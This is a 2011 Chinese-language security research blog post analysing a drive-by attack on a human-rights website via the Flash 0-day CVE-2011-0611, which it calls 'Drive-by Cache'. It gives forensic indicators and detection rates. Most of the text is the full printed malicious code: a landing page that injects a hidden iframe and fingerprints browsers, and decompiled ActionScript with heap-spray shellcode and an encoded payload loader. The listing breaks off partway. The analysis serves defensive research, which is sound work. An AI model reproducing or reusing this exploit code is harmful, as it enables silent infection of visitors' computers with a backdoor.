阿碼外傳－阿碼科技非官方中文 Blog: 04/01/2011 - 05/01/2011

2011年4月27日

利用 Flash 0-Day 的掛馬變形手法，攻擊人權網站

(作者: Chris Hsiao, NightCola Lin, Wayne Huang, Fyodor Yarochkin, Crane Ku)

阿碼科技為世界上最大的雲端惡意掃瞄服務的廠商之一，OEM給大型的資安公司及主機供應商。最近我們的Hackalert發現到許多起的偷渡式下載(Drive-by)攻擊都伴隨著零時差攻擊(0-days)。
在最近幾年我們發現到一些有趣的威脅名詞不斷的被創造出來，因此，我們覺得有必要給這次的手法一個獨特的名詞, 我們稱之為：Drive-by Cache。

以下是這篇報導的幾個摘要：
A. 本次攻擊的手法是Drive-by Download的變種，我們稱之為Drive-by Cache, 這個新的機制相較於傳統的Drive-by Download更難被偵測到。
B. 我們使用到最近被Hackalert scanner所偵測到的一個例子，被感染的網站是一個人權網站, 所利用的漏洞是Adobe flash 0-day: CVE-2011-0611，而HackAlert在一週前偵測到它的當時，是沒有相對應的patch的。
C. 這次事件中的惡意程式本身會連回一個位於香港的伺服器，IP為182.237.3.105。

更多的總結請見 [5. Forensics Summary].

[大綱]
1. Drive-by Downloads的簡介
2. Drive by cache
3. 實際案例
4. 偵測率
5. Forensics Summary
6. 完整程式碼

[1. Drive-by Downloads的簡介]

一個典型的Drive-by Download感染流程是：使用者瀏覽一個受感染的網頁之後，在未經過使用者的同意，使用者也沒有點選任何連結的情況下，其電腦就被安裝了惡意程式。我們先前的文章:Google及Microsoft的兩大廣告平台遭掛馬利用散播惡意軟件就是一個最好的例子。

這種型態的威脅從2000年開始就已經存在，在2003年時透過heap-spraying 的技術被大量的運用。然而，"Drive-by Download"這個名詞直到Google在2003年發表了一篇論文："Ghost in the Browser"後，才更具體的被引用。

下圖簡單的描述這個流程，更詳細的資料請參考我們在2009 Blackhat / DEFCON所發表的drivesploit 演示中之第15-17頁。



第一步，受害者瀏覽一個受感染的網站，這個網站因為存在已知的漏洞，被有心者植入惡意連結，此連結會動態產生iframe或script，將受害者的瀏覽器導向惡意網域。最終瀏覽器會執行到惡意網域上的惡意攻擊碼(exploit code)，這些程式碼大部份都是javascript或flash。在本次事件中，該exploit code所利用的是Adobe flash 0-day CVE-2011-0611 這個漏洞。

第二步，瀏覽器在執行了exploit code之後，會強制瀏覽器去執行某些指令(shellcode)。這些指令通常都是請瀏覽器連上某個特定的Url(大部份的情況下是外部網域)。

第三步, 瀏覽器依照這些指令將某個Url上的檔案抓下來存在受害者本機上並且執行。

對一般透過靜態特徵碼(pattern)來偵測的防毒軟體來說，要偵測Drive-by Download並不是一件容易的事。這是因為這類exploit code都是透過script來達成(javascript或是flash actionscript)，這類語言可以在執行期間使用大量的混碼技巧動態的產生各種不同的形式給客戶端去執行，就像我們在drivesploit presentation中使用到的技巧類似。

收集這類型隨機產生的pattern不僅對偵測率沒有多大的幫助，反而會因為無窮無盡的pattern讓自己的資料庫無止盡的增加，亦同時增加偵測時間。

行為偵測則對於此類型的偵測相當的有效，因為以Drive-by Download來說，他的行為模式是一致的且可以被有效的定義：
透過hooking Browser(及javascript engine)呼叫特定API的方式，我們可以看到一序列固定的步驟
A. 瀏覽器瀏覽一個網頁 (受害者瀏覽一個被感染的網頁)
B. Exploit Code被成功執行, 瀏覽器因此開始執行經由exploit code產生的shellcode
C. 瀏覽器呼叫urlmon.dll中的URLDownloadToFile()，這個呼叫會去特定的網址抓檔案之後存在本機電腦上
D. 瀏覽器執行該檔案

這些shellcode都偏好讓瀏覽器去呼叫一些特定的API，比如：URLDownloadToFile()，在目前的exploit-db網站上，就有8 drive-by download shellcodes，而這8個shellcode都是利用URLDownloadToFile() (即上述中的步驟C)來進行抓取遠端檔案的動作。



但是, 瀏覽器一般來講, 不會主動的去執行URLDownloadToFile()，因此，行為偵測即可有效的透過此一偵測方式來判別瀏覽器是否正在進行惡意行為。

一般來說，為了繞過各種偵測技術，shellcode必需被設計的越小越好，同時行為也越像瀏覽器越好。要達成這個目的最簡單的方式，就是請瀏覽器去幫忙分擔原本需要shellcode來處理的部份。

[2. Drive-by cache]

而Drive-by Cache正是如此，在整段shellcode執行的過程中，他不會去進行(C)下載檔案的動作。取而代之的是，他是直接從瀏覽器的快取資料夾裡，取出惡意程式並且執行它。

這也就是為什麼我們把 download 替換為 drive-by cache 的原因。

至於惡意程式是如此在執行前進入瀏覽器的快取資料夾呢? 我們可以透過下圖來了解：

以下是典型的Drive-by Download流程：
(1)瀏覽器讀取網址
(2)瀏覽器執行Exploit Code
(3)瀏覽器執行shellcode
(4)shellcode去遠端下載惡意程式之後儲存在磁碟上
(5)shellcode執行惡意程式

在Drive-by Cache中，第四步的流程被往前移到第一步與第二步之間，除此之外，原本是透過shellcode來下載的動作反而是透過瀏覽器自己本身來完成這是怎麼達成的呢?

非常簡單：惡意程式本身被更名為.jpg 或 .js檔後連結到受感染的網址。以這次的事件來看，我們可以看到這段程式碼：

<script src=newsvine.jp2>

這段碼告訴瀏覽器將newsvine.jp2視為javascript，瀏覽器會產生以下動作
(a)讀取這個檔案
(b)將檔案放到瀏覽器的快取資料夾
(c)將newsvine.jp2視為javascript並且執行
當然在(C)的步驟中會失敗，因為newsvine.jp2本身是惡意程式，但是重點是他本身已經被放到瀏覽器的快取資料夾了!

再次強調一次, 這個儲存的動作是瀏覽器本身的行為而並非shellcode, 而在呼叫惡意程式執行的這一部份，所使用的APIs也必然大不相同

對一個行為分析引擎來說
a)這是一個非常正常的瀏覽器行為並且沒有不尋常的API呼叫
b)這個動作發生在第一步(瀏覽器讀取網址)之後，因此這不是傳統的Drive-by Download行為

縱合以上分析，相較於Drive-by Download，Drive-by Cache較能規避現行偵測機制。

[3. 實際案例]

在寫這篇部落格的時候，該人權網站仍然持續被利用，透過Drive-by Cache的手法來散播惡意程式。
HackAlert在第一時間偵測到這種非典型的Drive-by Download攻擊。

惡意程式碼片段如下(在網頁原始碼的最下面)：


</div><script src="/includes/googlead.js"></script></body></html>

/includes/googlead.js 組出一個iframe指向惡意網域：

if (document.cookie.indexOf('popad') == -1) {
var e = new Date();
e.setDate(e.getDate() + 1);
e.setHours(0, 0, 0);
e.setTime(e.getTime());
document.cookie = 'popad=true;path=/;expires=' + e.toGMTString();
document.write("<iframe frameborder=0 style='position: absolute; top:-9999px;left:-9999px' src='http://71.6.217.131/dir/AI/exploit.html' width=468 height=60 scrolling=no></iframe>");
}

該exploit code是由http://71.6.217.131/dir/AI/exploit.html所提供，完整的原始程式碼可以在部落格最後面看到，在此我們僅列出最重要的部份：

var display="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+"<script src=newsvine.jp2><\/script>\r\n"+
"<object width=\"550\" height=\"400\">\r\n"+
"<param name=\"movie\" value=\"done.swf\">\r\n"+
"<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n"+
"<\/embed>\r\n"+
"<\/object>"

編排之後：

<script type="text/javascript">
window.onerror=function(){return true;};
</script>

<script src=newsvine.jp2></script>

<object width="550" height="400">
<param name="movie" value="done.swf">
<embed src="display.swf" width="550" height="400"></embed>
</object>

"display.swf"就是包含了exploit code的flash檔。完整的反編譯後的程式碼在部落格最後面可以看到。這一段碼則是當使用者的瀏覽器執行之後，就會將newsvine.jp2這隻惡意程式放進瀏覽器快取資料夾，(Drive-by Cache)。

緊接著，display.swf被瀏覽器下載下來並且其中的ActionScript被執行，該ActionScript中內含shellcode CVE-2011-0611 Adobe Flash 0-day，執行了之後則將先前存放在快取資料夾中的惡意程式跑起來。

Newsvine.jp2這隻惡意程式會連回位於香港(jeentern.dyndns.org:80 182.237.3.105)的CNC伺服器。

[4. 偵測率]

這次的exploit code是包含在Flash的actionscript裡面。因為有別於傳統的Drive-by Download shellcode，此次攻擊所使用的技巧是Drive-by Cache，因此導致偵測率極低，當我們在第一時間把檔案上傳到Virustotal掃描時，沒有任何一加防毒軟體有偵測到此種惡意行為。submitted the swf file to VirusTotal, 結果為 0 out of 42 antivirus vendors。

另外針對newsvine.jp2(swf.exe)這個惡意程式本身，結果為 1/42 on VirusTotal (report is here)。僅有Microsoft偵測到這隻後門程式。



[5. Forensics Summary]

以下是我們目前所知的部份：

1. 在大約一週前，特定的人權網站被感染(許多頁面)，惡意連結目前仍然尚未移除
2. 使用Drive-by Cache的技巧來進行攻擊
3. 利用 CVE-2011-0611 Adobe Flash 0-day 的漏洞
4. Virustotal在第一時間的偵測率為 0/42 (SWF exploit code部份)、1/42(惡意程式本身)
5. exploit code是由71.6.217.131來進行攻擊，這是一個位於聖地牙哥(San Diego)的網站，Hosted by Cari.Net，我們相信他們的伺服器被感染來當作煤介
6. newsvine.jp2這隻惡意程式(原始檔名為swf.exe)是透過Drive-by Cache的技巧來執行，他是一隻透過VB寫出來的後門程式，推斷是跟pincav同一類型，這隻惡意程式具有偽造的非法數位簽章，企圖偽冒在大陸非常熱門的迅雷P2P下載軟體
7. newsfine.jp2會連回位於香港的CNC主機 (jeentern.dyndns.org:80)

[6. 完整的程式碼]

以下是此次Drive-by Cache事件中完整的程式碼 (exploit code), 如果你需要更多的資訊，請e-mail給我們：
chris.hsiao在armorize點com
nightcola.lin在armorize點com

1. http://71.6.217.131/dir/AI/exploit.html:

<html>
<head>
<script type="text/javascript">
function getCookieVal(offset) {
var endstr = document.cookie.indexOf(";", offset);
if (endstr == -1) {
endstr = document.cookie.length;
}
return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return getCookieVal(j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}

function SetCookie(name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (2 < argc) ? argv[2] : null;
var path = (3 < argc) ? argv[3] : null;
var domain = (4 < argc) ? argv[4] : null;
var secure = (5 < argc) ? argv[5] : false;
document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}

function DisplayInfo() {
var expdate = new Date();
var visit;
expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000));
if (!(visit = GetCookie("vis1t"))) visit = 0;
visit++;
SetCookie("vis1t", visit, expdate, "/", null, false);
return visit;
}

function code() {
var num = DisplayInfo();
if (num < 3) {
return 1;
} else {
return 0;
}
}

function user() {

var weekDay = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"March.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var display = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";

var Example = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"Birthday.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var info = navigator.userAgent.toLowerCase();
var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var ck = code();
var January = info.indexOf('msie 8.0');
var February = info.indexOf('msie 7.0');
var April = info.indexOf('msie 6.0');
var June = info.indexOf("windows nt 5.1");
var August = info.indexOf("windows nt 6.1");
if (January > 0 && June > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + weekDay;
}
if (June > 0 && ck == 1 && (February > 0 || April > 0)) {
document.body.innerHTML = "xxxx" + display;
}
if (January > 0 && August > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + Example;
}
}
</script>
</head>
<body onload=user()>
</body>
</html>

2. ActionScript中的exploit code, 由取得的swf檔反編譯：
package ie_fla {
import flash.display. * ;
import flash.utils. * ;

dynamic public class MainTimeline extends MovieClip {
public
var s: Object;
public
var s2: Object;
public
var s3: Object;
public
var a: Object;
public
var t: Object;
public
var i: Object;
public
var r: ByteArray;
public
var ldr: Loader;

public

function MainTimeline() {
addFrameScript(0, this.frame1);
return;
} // end function
public

function hexToBin(param1: String): ByteArray {
var _loc_2: String;
var _loc_3: * = new ByteArray();
var _loc_4: * = param1.length;
var _loc_5: uint;
_loc_3.endian = Endian.LITTLE_ENDIAN;
while (_loc_5 < _loc_4) {
// label
_loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);
_loc_3.writeByte(parseInt(_loc_2, 16));
_loc_5 = _loc_5 + 2;
} // end while
return _loc_3;
} // end function

function frame1() {
this.s = new ByteArray();
this.s3 = new ByteArray();
this.a = new Array();
this.t = "4357530acc050000789c4d546d6c5365143eb7bdedfb765d29dd189dac2053f00345e3171f71b062bbeec3b63377b0a026c265bddd6decdaa6f7d61698a82466fb619610e20549f8322144134d10158d261287c9f8e10f31460da2268b4663628cc1080c37cf79efb5f5fe787bee799ef39cf39c7b7b6be0d901103c01d02e413c047875bb4f7b00ac66f0007b757abc95cde1b1a8e5a80b92321eed30d9063ed8028f410ce2d00309e8853ee887935321c86859b592374102790db8e0b0643501db7ebebf8f9dee7effdc4e2c0778cd85e4a885ea4bcd923fb90b93cd3021813b8c8728f84def4cb32587be3f6317d4f3076eae5bc60aee8b3fd585dac00a6033bcdce2e4947c7d216c794196641797d27d5478e58594ca6e7bf19d63762179f985981f00a13cf1e05af6f7879f5fb251e50ed494ddb2c44812455c0a0d3b75e2c9bd62d856a05b37627e0a16868a5ce49bc062206a384448377ee3be28fbc8f3c527b6aee502ee567aa966e781c3f78b1abf6d1c21592260f5feb9b8007cf004b90ee3901bc5906c15bb8b5dbb7ced6b47cc0f8d016564f52d10cbef0ead67576ffe3e53dfd0d579127793f8db7cc31a212ec366cb07dc63afcc1bed425e45740926d73ecefe387be95dbb3e828e3863190c0785a5b472bb8b9d79ebbb7f6c3ca5842329929ed9f65945487b40096f8ae0749c739fbd8c26bc47ebfe3476d92076373d7f3ce8d8b73a81373b3c1eb08345dcc3838dd043d32d0cd2c4ff3149e4e5edaf3c22441860034c4cac1ed79d04f55b3cc5c99eeb6e580e582bbcca12e7446dffe1dbbdce3353c2e42baf5f8cb28387d6398f6a105b9ec77714919335efbdec9989eb5fda4857b48bb29b8efcf928fb540b5c70f69452447afad6e7d7b3ae1ff7cfd4d3d4ed67ffb96d8e5d5c97581972073ede5763efc55e9a70debab030317be5e80ac10d805dfce6a97d03ce7fc4d9f5d9a737ef1219898a52b6813722dea7d8f0ecf553f5073f2b59a6ed9a87788bbdb85646205fc2dbf8d2c682c38db0bd11ded20897d9328b7907eff05218c0cb86237cb977aed3171df8a625e564b0f785791ab4f9af749b183428dead5f3b26bb593632d92dbe2571697295b40286cc72ae300a79ad306aea30a2abe55831a36d31215b2e8ec59c5b91c7dc886a68b055ab998962794c35c1c8ed416c47b65280e16733157d54d1c6f46cf501a352ae96abe3865eff1e8d6ae610917b3355fd7f70b55aa69b68f51e6c8e1cd2eea9995ac1843d55a3fa90cd74c0b8ba9b7e12c58299cc19a63d484ecb6720a5d2ec654d35b59eb192b93b557c2ea7c5f2b912987ace807e43a9140a64d3d0cc14f94916d5ccb05a3684ac56a26ab4b612560a8771d481116c932b5490db820b0d8175a734a75fdef8d556e3e160227a2c4bd9d20d88e2caff0522695d54";
this.i = 0;
while (this.i < 1024) {
// label
this.s3.writeByte(13);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 1023) {
// label
this.s.writeBytes(this.s3, 0, this.s3.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(3326443264);
this.s.writeInt(1620086928);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(2231533620);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3118523106);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(350479074);
this.s.writeInt(1912609418);
this.s.writeInt(3520127714);
this.s.writeInt(2327286151);
this.s.writeInt(2427873764);
this.s.writeInt(179692514);
this.s.writeInt(3798534792);
this.s.writeInt(3820685877);
this.s.writeInt(3823297024);
this.s.writeInt(462065361);
this.s.writeInt(3504507537);
this.s.writeInt(2324139702);
this.s.writeInt(1776552667);
this.s.writeInt(3823297129);
this.s.writeInt(176743355);
this.s.writeInt(173794274);
this.s.writeInt(3791657833);
this.s.writeInt(912330422);
this.s.writeInt(1763576316);
this.s.writeInt(3138065634);
this.s.writeInt(3806509067);
this.s.writeInt(534962914);
this.s.writeInt(3112755848);
this.s.writeInt(3803426993);
this.s.writeInt(2296520116);
this.s.writeInt(4195031010);
this.s.writeInt(3806464575);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2713887917);
this.s.writeInt(2965556656);
this.s.writeInt(3267413943);
this.s.writeInt(2980556978);
this.s.writeInt(2964169899);
this.s.writeInt(2930231230);
this.s.writeInt(2928509315);
this.s.writeInt(2395124103);
this.s.writeInt(2526448524);
this.s.writeInt(2240921270);
this.s.writeInt(2274333325);
this.s.writeInt(2424541339);
this.s.writeInt(3266022550);
this.s.writeInt(2274397319);
this.s.writeInt(2529338507);
this.s.writeInt(2391249342);
this.s.writeInt(3233990539);
this.s.writeInt(3266030786);
this.s.writeInt(3398207381);
this.s.writeInt(2442431372);
this.s.writeInt(2278083720);
this.s.writeInt(2463157186);
this.s.writeInt(2796405450);
this.s.writeInt(3397488518);
this.s.writeInt(3431438983);
this.s.writeInt(3267415425);
this.s.writeInt(3263596430);
this.s.writeInt(3268252098);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592588484);
this.s.writeInt(3301081485);
this.s.writeInt(2459681472);
this.s.writeInt(3347824834);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592588493);
this.s.writeInt(2613232836);
this.s.writeInt(3263270790);
this.s.writeInt(3431438983);
this.s.writeInt(3268248002);
this.s.writeInt(2442560400);
this.s.writeInt(2529347478);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3234581474);
this.s.writeInt(182918429);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3792313372);
this.s.writeInt(488476050);
this.s.writeInt(2274157153);
this.s.writeInt(646349673);
this.s.writeInt(1030350534);
this.s.writeInt(1629941345);
this.s.writeInt(183835906);
this.s.writeInt(1658456726);
this.s.writeInt(3898792459);
this.s.writeInt(2531746522);
this.s.writeInt(160953187);
this.s.writeInt(2598859378);
this.s.writeInt(1920112362);
this.s.writeInt(1763555177);
this.s.writeInt(242197223);
this.s.writeInt(486673117);
this.s.writeInt(3806519841);
this.s.writeInt(1658456726);
this.s.writeInt(3898792459);
this.s.writeInt(2531746522);
this.s.writeInt(160953187);
this.s.writeInt(2598859378);
this.s.writeInt(1920112130);
this.s.writeInt(2330650850);
this.s.writeInt(3798967015);
this.s.writeInt(486673141);
this.s.writeInt(3806519841);
this.s.writeInt(183755490);
this.s.writeInt(3797611491);
this.s.writeInt(3865190638);
this.s.writeInt(3792298170);
this.s.writeInt(554310429);
this.s.writeInt(488487204);
this.s.writeInt(3847908285);
this.s.writeInt(3817088421);
this.s.writeInt(3877437985);
this.s.writeInt(2976464561);
this.s.writeInt(2292353762);
this.s.writeInt(4074955445);
this.s.writeInt(1772416522);
this.s.writeInt(2585599261);
this.s.writeInt(3122770868);
this.s.writeInt(1771560553);
this.s.writeInt(2529991393);
this.s.writeInt(397699476);
this.s.writeInt(3269531601);
this.s.writeInt(732668751);
this.s.writeInt(3777483065);
this.s.writeInt(3982291672);
this.s.writeInt(882305571);
this.s.writeInt(702931256);
this.s.writeInt(2718503897);
this.s.writeInt(4254533052);
this.s.writeInt(1773979361);
this.s.writeInt(1065642478);
this.s.writeInt(2842279166);
this.s.writeInt(3779029478);
this.s.writeInt(1776363337);
this.s.writeInt(3166380298);
this.s.writeInt(1109335325);
this.s.writeInt(3499521006);
this.s.writeInt(1732070745);
this.s.writeInt(2171286445);
this.s.writeInt(4232480269);
this.s.writeInt(3045388061);
this.s.writeInt(2062086682);
this.s.writeInt(3123304899);
this.s.writeInt(3806520034);
trace(this.s.length);
this.i = 0;
while (this.i < 176) {
// label
this.s2 = new ByteArray();
this.s2.writeBytes(this.s, 0, this.s.length);
trace(this.s2.length);
this.a.push(this.s2);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
this.ldr.loadBytes(this.r);
stop();
return;
} // end function
}
}

//==============================================
package ie8_fla {
import flash.display. * ;
import flash.system. * ;
import flash.utils. * ;

dynamic public class MainTimeline extends MovieClip {
public
var s: Object;
public
var s2: Object;
public
var s3: Object;
public
var a: Object;
public
var i: Object;
public
var j: Object;
public
var sc_len: uint;
public
var t: Object;
public
var r_cn: ByteArray;
public
var ldr_cn: Loader;
public
var r: ByteArray;
public
var ldr: Loader;
public
var r_jp: ByteArray;
public
var ldr_jp: Loader;

public

function MainTimeline() {
addFrameScript(0, this.frame1);
return;
} // end function
public

function hexToBin(param1: String): ByteArray {
var _loc_2: String;
var _loc_3: * = new ByteArray();
var _loc_4: * = param1.length;
var _loc_5: uint;
_loc_3.endian = Endian.LITTLE_ENDIAN;
while (_loc_5 < _loc_4) {
// label
_loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);
_loc_3.writeByte(parseInt(_loc_2, 16));
_loc_5 = _loc_5 + 2;
} // end while
return _loc_3;
} // end function

function frame1() {
this.s = new ByteArray();
this.s2 = new ByteArray();
this.a = new Array();
this.sc_len = 0;
this.t = "4357530a22060000789c5d547d4c5b55143faf5ff742617c38e806ad01743a9d0a861931822b520a685bb4632c6e0a2bf4d136a52de97bf5019b1fdb7423d982c69017e6321d31e8a2c9dcdc8c2133e81fc62d0edd747f90cc8f3847164de6b268a2532778cfbd0f4abc49efbbeffcceef9cdff9ddf40d82b51ba0e030c02a093c45c0d606f3bf56003d0fac40761fed71910beff7b856141f32c12716b695c0483150688447a1093cd00c5e688156182d809eb41c8a830496bbc1045b253d17c8e5df6ab61167feb937b73126c00113dc09eebd12981d6ce319d393431269dcb2675e64f0f801eca2e7b3526c99f94e91fbd98243b78145b29828e77eb3beaa9adc7bf6fbf3821b68d599e44bb7556bbe1e16c803d4fc25128f01226dc1da4e8ee440f00e0cccfc5852c30385d8cd62b648049bb1f2a620e266f682cf9fbf3af30ccfcb05bb4e802751400527eabeee20bed3f7bd27143875135033e736406725e7d8a1850fcc208bf40442c726bbda38b412705a071358c5fbcc1df921c08122d0ed9055636119be05b6c10256313f82adafa4bc8f91d5af4e7d285aeb3940adc22a9b1bf1b70267b793a78faf7f49e0f58cbe9f6b3e54fdd7ada4e7bcedd2a266029490303bb6a3887307eb860d979c7eccf78fbf11271f444263223fe870fa8318df3f3ef61c5122f15dc6cd3560d0f7cbcb0f9213a5c367168bdb81529a232ccb6de006d9034c4b1de89540f30c80e68bc30a6aa505d9a315055d898cdfce05497895ed0b5c654769a48a07f3f9e48b75b8867f4edfe32296ba0b3f2dbb94c2518ade98ee824a6ec2e074d70b646fe3c48b4bee71ef2c12a541072678bb6e6c225313e45d91d0ce5aff09dcd88b3b4ed59235bb3d3386b16ed4f3c7ac678d71a7f5ee7a748805eda33b938695f54ea436bd32be997c3c103922a8c2c79b0f1cdd40cc5f3cf9a9e1a313a9f315659b8cf9fc4111fafd6a69cca826885b3e3fdc4a261feafe6891e8c7b4e877279fe26936bc2accdb79592b26cf3b477e5dde3530672e22c7cb6f5e5b228bb9e33766c2648cd41e5cfac75e97f43dc21d5a448b85d1b71004e94a5a424bb3d7e5c81e57658fabb3c73251a69096d35cdbd6cdd77bf12760272db7e5196b3162fd7f84a9d93e8f2a13b3b38f93d7d6ae3d695c1f0b35ee7b3b4dde611bff543d2cbd5e215dad99ac993bd57c6d7a6a6862ddb71777b58fb824176c54d3b16404fae564448d426f34946e4a85e54615fad2a94493f1cae32cd61b52e40ae89007556f2a9d08a9a0c48619d8dd974942673c9c8946827222daa7ddaf64d25a5adba1448dcf60445637626a4b588b2e03352d8d2f6e6d1debcd72b072f3a02a275518d614ad56641aa02734840f6f2aa9fa628a2a64c4e4fe30f843289d3552e5e6c4803ae44f3d1b939bfa6303a046630ab429c14c3289532ab2eac7717ca950b833945678597900d9ac6a2c9991a10267040f2b05be62e670d9dfe0669efe07c8b77774";
trace("if");
if (Capabilities.language.toLowerCase() == "zh-cn") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
